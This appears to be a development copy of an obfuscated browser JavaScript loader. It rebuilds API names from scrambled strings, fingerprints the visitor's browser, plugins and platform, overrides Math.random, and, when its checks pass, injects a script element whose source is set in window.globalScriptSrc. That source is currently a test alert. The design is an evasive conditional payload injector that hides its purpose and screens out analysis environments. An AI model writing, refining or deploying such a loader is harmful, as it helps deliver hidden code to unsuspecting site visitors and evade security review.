window.globalScriptSrc = "data:text/javascript,alert('work, yes')";

+function() {

    var st = '',
        ext = {}, // window after checkProps() calling
        wNum = '__',
        mParam = '|',
        fSize = 2,
        element; // RegExp after checkProps() calling

    var obj = {
        ect: ' ',
        csp: 1,
        max: 7,
        post: ['Assembly', 'Pixel', 'Points'], // !!!! don't change length!!
        form: 'Enabled',
        user: 'persistent',
        Name: 'Agent',
        color: 'osc',
        Ratio: 5,
        side: 'Depth',
        Message: ['devi', 'scre', 'okie', 'plug', 'secu'],
        scr: 'random',
        crypto: 'doc'
    }

    var propTxt = 'rab gube ppa edo nois dob ivan'; // bar, ebug, app, ode, sion, bod, navi

    var prop = checkProps(propTxt, 'gato', 2); // window.navigator
    var filter, idParam, devType; // window.document, document.body, navigator.plugins after checkEmpty() calling
    console.log('prop', prop)
    console.log('propTxt', propTxt)
    var startMes = checkEmpty(obj.Message, obj.user.slice(obj.max), // window.postMessage&&window.devicePixelRatio&&screen.colorDepth&&navigator.cookieEnabled&&navigator.plugins
        ['ce', 'en', 'co', 'ins', 'rity']);
    var itemCount = filter[obj.Message[obj.Ratio - 1]]; // document.security
    console.log('itemCount', itemCount)
    var trackParam = ext[obj.add[obj.max - obj.Ratio]] // window.sidebar
    console.log('trackParam', trackParam)
    var arr = ['mp', 'sm', 'va', 'ari', 'ur', 'de', 'ome', 'efo'];
    var ctrlLog = ext[obj.user.toUpperCase()]; // window.PERSISTENT
    console.log('ctrlLog', ctrlLog)
    var lastCond = ext[obj.key[+st]] || trackParam; // window.Rect || trackParam
    console.log('lastCond', lastCond)
    var listed = ext[obj.side.substr(+st, obj.csp + 1) + 'bug'] // window.Debug
    console.log('listed', listed)

    var nextItem = listItems('du wa ja saf bl tri chr fir eb', 'plat', {buffer: 'Touch'});
    var openCond = typeof(ext[obj.add[obj.Ratio]]) === 'function'; // typeof(window.crypto)=="function"
    var flag = defineFlag(propTxt, 4, 'ge'); // [navigator.appCodeName,navigator.appVersion].join(navigator.javaEnabled).match(/"/g)
    console.log('flag', flag)
    var lock = st || Node;
    console.log('lock', lock)
    var second = lock[wNum + obj.key[1]]; // Node.__cspr__
    var mom = new Date/1e13;

    function defineFlag(arg, code, desc, stParam) {
        var temp = typeof(stParam),
            pass = arg[fSize], // 'app'
            arr = [
                pass + arg[code - 1] + obj.key[code + fSize],
                pass + arg[code],
                obj.list[+st]
            ];
        console.log('arr', arr)
        obj.list[code - 1] += mParam + temp.slice(obj.max) + desc;
        var flags = arr.map(function(el) {
                return prop[el];
            }),
            sourse = listItems('"', fSize),
            extra = [flags[+st], flags[fSize - 1]].join(flags[code - 1]);
        return extra.match(sourse);
    }

    // return RegExp if 2 params, typeof mark === 'number'!!!
    // return !window.dump||window.WebAssembly&&navigator.oscpu||navigator.wasmEnabled
    function listItems(arg, mark, cond) {
        var zInd = obj.csp + 1; // 2
        if (mark && typeof mark === 'number') {
            // transform mark to g/gi/i
            // 1 - without flag, 2 - 'g', 3 - 'gi', 4 - 'i'
            if (mark === 1) return new element(arg)
            else {
                var sTem = 'g';
                mark === zInd ? '' : mark === 3 ? sTem += 'i' : sTem = 'i';
                return new element(arg, sTem);
            }
        } else {
            var tmp = checkEmpty(arg, ' '),
                sNum = obj.max + 1; // 8
            console.log('tmp', tmp)
            var newArr = tmp.map(function(el, num) {
                num === tmp.length - 1 ? el = 'W' + el
                : el += arr[num];
                return el;
            })
            var type = ext[newArr[sNum] + obj.post[+st]] &&
                prop[obj.color + 'pu'];
            console.log('type', type)
            console.log('newArr', newArr)
            obj.key[zInd] += cond.buffer + obj.post[zInd];
            obj.list = newArr.slice(zInd).map(function(item, idn) {
                idn === +st ? item += obj.form : idn === zInd - 1 ?
                item += mParam : idn === zInd + 1 ? item += 'nt' :
                idn === obj.Ratio ? item += 'x' : idn === obj.Ratio + 1 ?
                item += 'GLFr' + obj.key[sNum - zInd].slice(zInd - 1) +
                Object.keys(cond)[+st] : '';
                return item;
            })
            obj.row = prop[mark + obj.key[zInd * 2]]; // navigator.platform
            obj.Name = prop[obj.key[obj.Ratio] + obj.Name]; // navigator.userAgent
            return !ext[newArr[+st]] || type ||
                prop[newArr[zInd - 1] + obj.form];

        }
    }

    function checkState(state, descr) {
        var hParam = obj.Ratio - 1, // 4
            args = descr.map(function(arg) {
                return state.match(listItems(arg, hParam))
            }),
            prevSt = args[+st] && lastCond,
            curSt = args[fSize - 1] && ctrlLog && startMes && checkType(),
            nextSt = args[fSize] && listed;
        obj.Num = ext[obj.list[hParam + fSize]];
        return prevSt || curSt || nextSt;
    }



    // return window.postMessage&&window.devicePixelRatio&&screen.colorDepth&&navigator.cookieEnabled&&navigator.plugins
    // if 3 args
    // return array.split(arg, separator) if 2 arguments
    function checkEmpty(arg, sep, arr) {
        var lgt = obj.post.length, // 3
            idn = +st + 1; // 1
        if (arguments && arguments.length === lgt) {
            var res = [
                ext[obj.key[lgt] + obj.add[lgt]], // window.postMessage
            ]
            obj.Message = arg.map(function(mes, flag) {
                flag === lgt - 1 ? mes = arr[flag] + mes
                : mes += arr[flag];
                return mes;
            });
            var rParam = obj.Message;
            rParam[+st] += obj.post[idn] + obj.add[idn]; // 'devicePixelRatio'
            rParam[lgt - 1] += obj.form; // 'cookieEnabled'
            res.push(
                ext[rParam[+st]], // window.devicePixelRatio
                ext[rParam[1]][obj.add[+st]+ obj.side], // screen.colorDepth
                prop[rParam[lgt - 1]], // navigator.cookieEnabled
                prop[rParam[lgt]] // navigator.plugins
            );
            devType = res[res.length - idn];
            obj.crypto += 'um' + sep;
            filter = ext[obj.crypto];
            var result = res.reduce(function(cur, next) {
                return cur && next
            }, res[+st]);
            idParam = filter[propTxt[obj.Ratio]];
            return result;
        } else {
            return arg.split(sep);
        }
    }
    console.log('obj', obj)

    function crop(items) {
        if (items && items.length >= obj.Ratio) {
            var cropped = items.reduce(function(item, next) {
                return item.map(function(el) {
                    return el + next;
                })
            }, items[fSize]);
            return cropped;
        }
        if  (changedParam) {
            if (stateParam) {
                console.log(minParam);
                if (itemNum > 0 && obj.Num) {
                    checkId();
                }
            }
        }
    }



	~function(current, base) {
        var num = +st;
        if (mom && Array.isArray(mom)) {
            var sum = mom.reduce(function(el, next) {
                return el + next;
            })
            current += sum;
        }
		Math[base] = function() {
            return mom;
        };
		current && current.forEach(function(el) {
            lock.prototype[el[num]] = el[num + 1]
        });
    } (second, obj.scr);

	var checkType = function(){ return !st.match.call(devType[+st].name, 'um') };
    var itemNum = itemCount?4:trackParam?1:2;
    var isOpen = openCond || flag;
    var minParam = listItems('g', 1) // /g/;
	checkId = function() {
        obj.add[obj.Ratio - 1] += 'ipt';
        var temp = filter.createElement(obj.add[obj.Ratio - 1]),
            select = idParam.appendChild(temp);
		return select.src = ext.globalScriptSrc;
	};

	try{ var textParam = ext[obj.list[fSize]] + st }catch(e){ var textParam=false };
    minParam.toString = function() { --itemNum; return st };

    var changedParam = changeParams('in', mParam, 'ma'); // 1 if
    var stateParam = checkState(obj.Name, obj.prop); // 2 if

    // return window.navigator, add obj keys, reverse ect
    function checkProps(arg, param, id, filter) {
        var res,
            fnr = +st; // 0
        if (filter && typeof filter === 'object') {
            res = arg.forEach(function(item) {
                for (var key in filter) {
                    item + filter[key] === param
                    ? (item.add = key, item = filter[key])
                     : ''
                }
                return item;
            })
        } else {
            var buf = checkEmpty(arg, obj.ect);
            ext = window;
            propTxt = buf.map(function(el, index) {
                var len = el.length,
                    sum = st;
                element = RegExp;
                for (var i = 1; i <= len; i++) {
                    sum += el.substr(len - i, 1);
                }
                item = sum;
                index === obj.csp ? item = 'D' + item :
                index === id + 1 ? item = 'C' + item : index === obj.Ratio - 1 ?
                item = 'Ver' + item : index === obj.Ratio ? item += 'y'
                : index === obj.max - 1 ? item += param + 'r' : item += st;
                return item;
            })
            var temp = Object.keys(obj).map(function(el, ind) {
                ind === fnr ? el = 'R' + el : ind === fnr + 1
                ? el += 'r' + wNum : ind === obj.max + 2 ?
                el += propTxt[fnr] : '';
                return el;
            })
            obj.key = temp.splice(fnr, obj.max);
            obj.add = temp;
            res = ext[propTxt[obj.max - 1]];
        }
        return res;
    }
    crop();

    function changeParams() {
        var arg = 'l',                   // ************* 'l' for linux, 'w' for windows!!!
            list = obj.list,
            num = obj.Ratio; // 5
        if (arguments && arguments.length === fSize + 1) {
            for (var i = 0; i < arguments.length; i++) {
                arg += arguments[i]
            }
        }
        var params = [
            obj.row.match(listItems(arg + 'c', fSize + 1)),
            !prop[obj.key[fSize]], !isOpen,
            textParam, nextItem
        ]
        var changed = params.reduce(function(prev, cur) {
            return prev && cur
        }, params[0]);
        obj.prop = [list[fSize - 1] + list[num], list[num - 1], list[fSize + 1]];
        return changed;
    }
}();